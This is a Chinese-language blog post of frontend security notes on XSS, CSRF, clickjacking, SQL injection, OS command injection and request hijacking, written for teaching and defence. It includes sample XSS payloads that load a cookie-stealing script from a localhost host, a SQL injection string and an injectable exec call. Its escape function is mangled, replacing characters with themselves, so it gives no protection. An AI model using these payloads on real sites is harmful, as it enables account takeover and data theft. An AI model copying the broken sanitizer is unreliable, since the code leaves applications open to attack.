title: 网络安全知识嗷
date: 2021-08-08 09:14:09
categories:
- [计算机基础]
tags: 前端 网络安全
1. XSS
Cross Site Scripting,跨站点脚本攻击,通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML或者是JS进行的一种攻击
它可以利用虚假的输入表单骗取用户信息,利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
-
反射性攻击 - url参数直接注入
// 普通
http://lcoalhost:3000/?from=china
// alert尝试
http://localhost:3000/?form=<script>alert(3)</script>
// 获取cookie
http://lcoalhost:3000/?form=<script src="http://localhost:4000/hack.js"></script>
// 伪造cookie进行登录
document.cookie = "伪造的cookie"
-
存储型攻击 - 存储到DB时注入
<!--评论-->
<script>alert(1)</script>
<!--跨站脚本注入-->
<!--通过评论功能来注入其他域的脚本-->
我来了<script src="http://localhost:4000/hack.js"></script>
防范手段:
-
HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤
启用XSS过滤(通常浏览器时默认的),如果监测到跨站脚本攻击,浏览器将会清除页面(删除掉不安全的部分)
-
CSP
内容安全策略是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括XSS和数据注入等攻击
本质时建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行,我们只需要配置规则,如何拦截是浏览器自己实现的
// 只允许加载本站资源
Content-Security-Policy: defalut-src 'self'
// 只允许加载HTTPS协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
-
转义字符
<!--ejs转义小知识-->
<% code %> 用于执行其中的javascript代码
<%= code %>会对code进行html转义
<%- code %>将不会进行转移,原样输出
-
黑名单
思想:用户的输入永远不可信任,最普遍的做法就是转义输入输出的内容,对于引号,尖括号,斜杠进行转义
function escape(str) {
str = str.replace(/&/g, '&')
str = str.replace(/</g, '<')
str = str.replace(/>/g, '>')
str = str.replace(/"/g, '&guto;')
str = str.replace(/'/g, ''')
str = str.replace(/`/g, '`')
str = str.replace(/\//g, '/')
return str
}
// 不能处理富文本编辑,不然富文本的格式也会过滤掉
-
白名单
const xss = require('xss') // 使用xss库
let html = xss('<h1 id="title">XSS DEMO</h1><script>alert("XSS")</script>')
console.log(html)
-
HttpOnly
这是预防XSS攻击窃取用户cookie最有效的防御有段,Web应用程序在设置cookie时,将其属性设置为HttpOnly,就可以避免该网站的cookie被客户端恶意JavaScript窃取,保存用户cookie信息
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2. CSRF
Cross Site Require Forgery 跨站请求伪造,是一种常见的Web攻击,他利用用户已登陆的身份,在用户毫不知情的情况下以用户的名义完成操作
-
用户已经登陆了站点A,并在本地记录了cookie
-
在用户没有等处站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)
-
站点A没有做任何的CSRF防御
危害:利用用户登录态,完成业务请求,冒充用户发帖背锅,损害网站声誉
防御手段:
-
Referer Check - Http 不发送 referer
const referer = ctx.request.header.referer
console.log(referer)
-
验证码(增加人机识别的过程)
-
cookie值进行hash,攻击者在访问信任网站A时,虽然浏览器可以在请求中带上cookie,但是网站A确不仅仅通过cookie来判断用户身份,同时通过用户发送过来的内容中的伪随机数请求真正是用户发送的,攻击者在请求A的时候,不能再提交的内容中产生伪随机数
3.点击劫持 - clickjacking
点击劫持是一种视觉的欺骗手段,攻击者将需要攻击的网站通过iframe嵌套的方式嵌套入自己的网页中,并将iframe设置为透明,在页面中透出一个按钮诱惑用户点击
防御手段:
-
X-FRAME-OPTIONS:是一个HTTP响应头,在现代浏览器有一个很好的支持,这个HTTP响应头,就是为了防御用iframe嵌套的点击劫持攻击
-
DENY:表示页面不允许通过iframe的方式展示
-
SAMEORIGIN:表示页面可以在相同域名下通过iframe的方式展示
-
ALLOW-FORM:表示页面可以在指定来源的iframe中展示
-
ctx.set('X-FRAME-OPTIONS': 'DENY')
-
js方式:
// self 是对当前窗口自身的引用 window属性是等价的
// top是返回顶层窗口,即浏览器窗口
if(self === top){
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
4. SQL注入
填入特殊的密码:1 ‘or’ 1 ‘=’ 1
SELECT * FROM test.user
WHERE username = 'laowang'
AND password = '1 'or' 1 '=' 1'
防范手段:
所有查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,既不要直接拼接SQL语句
5. OS命令注入
和SQL一样,只不过注入的内容是针对操作系统的,通过Web应用,执行非法的操作系统指令来达到攻击的目的
const exec = require('mz/child_process').exec
let params = {/* 用户输入的参数 */}
exec(`git clone ${params.repo} /some/path`)
6. 请求劫持
-
DNS劫持 DNS服务器被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
-
HTTP劫持 只能使用HTTPS了